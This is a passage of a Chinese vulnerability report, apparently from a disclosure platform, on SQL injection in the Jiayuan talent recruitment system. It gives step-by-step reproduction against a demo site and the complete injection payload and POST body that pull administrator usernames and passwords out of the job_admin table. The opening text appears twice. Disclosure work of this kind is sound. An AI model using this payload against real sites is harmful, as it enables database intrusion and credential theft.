### 简要描述： 嘉缘人才系统SQL注入可获取任意数据。 (绕过sql注入检测，demo演示) http://v2014.rccms.com/ ### 详细说明： 在http://v2014.rccms.com/上注册一个企业账户，企业类型选择“我是院校”。 好了之后进入 "会员中心" -> "招生管理" -> "招生简章管理": [<img src="https://images.seebug.org/upload/201411/18211050c4fd811e9ac3cae38de12e2ae53f73ee.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18211050c4fd811e9ac3cae38de12e2ae53f73ee.png) 添加一个招生简章，随便填： [<img src="https://images.seebug.org/upload/201411/18212632ec13394308d22d2fe809b9f27c3f455a.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18212632ec13394308d22d2fe809b9f27c3f455a.png) 这里我们使用burp拦截HTTP请求： [<img src="https://images.seebug.org/upload/201411/18212703b4446c2069cb93fb72e61e323c0e1063.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18212703b4446c2069cb93fb72e61e323c0e1063.png) 随便添加一个参数ttttt=tttt: [<img...
### 简要描述： 嘉缘人才系统SQL注入可获取任意数据。 (绕过sql注入检测，demo演示) http://v2014.rccms.com/ ### 详细说明： 在http://v2014.rccms.com/上注册一个企业账户，企业类型选择“我是院校”。 好了之后进入 "会员中心" -> "招生管理" -> "招生简章管理": [<img src="https://images.seebug.org/upload/201411/18211050c4fd811e9ac3cae38de12e2ae53f73ee.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18211050c4fd811e9ac3cae38de12e2ae53f73ee.png) 添加一个招生简章，随便填： [<img src="https://images.seebug.org/upload/201411/18212632ec13394308d22d2fe809b9f27c3f455a.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18212632ec13394308d22d2fe809b9f27c3f455a.png) 这里我们使用burp拦截HTTP请求： [<img src="https://images.seebug.org/upload/201411/18212703b4446c2069cb93fb72e61e323c0e1063.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18212703b4446c2069cb93fb72e61e323c0e1063.png) 随便添加一个参数ttttt=tttt: [<img src="https://images.seebug.org/upload/201411/18212820887746fb91d852bd9341ba6a48886775.png" alt="21.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18212820887746fb91d852bd9341ba6a48886775.png) 提交之后发现有SQL错误： [<img src="https://images.seebug.org/upload/201411/18212848cf85aa182c8178dd88ab63da4803490d.png" alt="22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18212848cf85aa182c8178dd88ab63da4803490d.png) 这里看起来更frcmsV31GBK版很多地方类似，直接把所有的参数拼接到SQL里面了。 好了，我们稍微构造一下centent参数： ``` content,r_sid,r_member,r_school,r_adddate) values(0x74657374,concat(char(@`'`),(select(group_concat(a_user,0x3d,a_pass,0x7c))from job_admin)),1***注释，这里的1改为你使用的账号的id****,0x74657374656475,0x656475,NOW())#'=test ``` 完整的POST参数如下： ``` title=test&content%2Cr_sid%2Cr_member%2Cr_school%2Cr_adddate)%0Avalues(0x74657374%2Cconcat(char(%40%60'%60)%2C(select(group_concat(a_user%2C0x3d%2Ca_pass%2C0x7c))from%0Ajob_admin))%2C1%2C0x74657374656475%2C0x656475%2CNOW())%23'=test&id=&submit=%CC%ED+%BC%D3 ``` [<img src="https://images.seebug.org/upload/201411/18213143a1aaf441158403ca06b8320877aa0a7a.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/18213143a1aaf441158403ca06b8320877aa0a7a.png) 提交后回到招生简章管理，看到多了一条： [<img src="https://images.seebug.org/upload/201411/182132143be485cb3a4801f5548cb75ad2b6427c.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/182132143be485cb3a4801f5548cb75ad2b6427c.png) 点击修改进去就可以看到管理员账号密码了： [<img src="https://images.seebug.org/upload/201411/182132486383391bbb7741eff6a0312389fb60f0.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/182132486383391bbb7741eff6a0312389fb60f0.png) ### 漏洞证明： 管理员账号密码： [<img src="https://images.seebug.org/upload/201411/182132486383391bbb7741eff6a0312389fb60f0.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/182132486383391bbb7741eff6a0312389fb60f0.png)
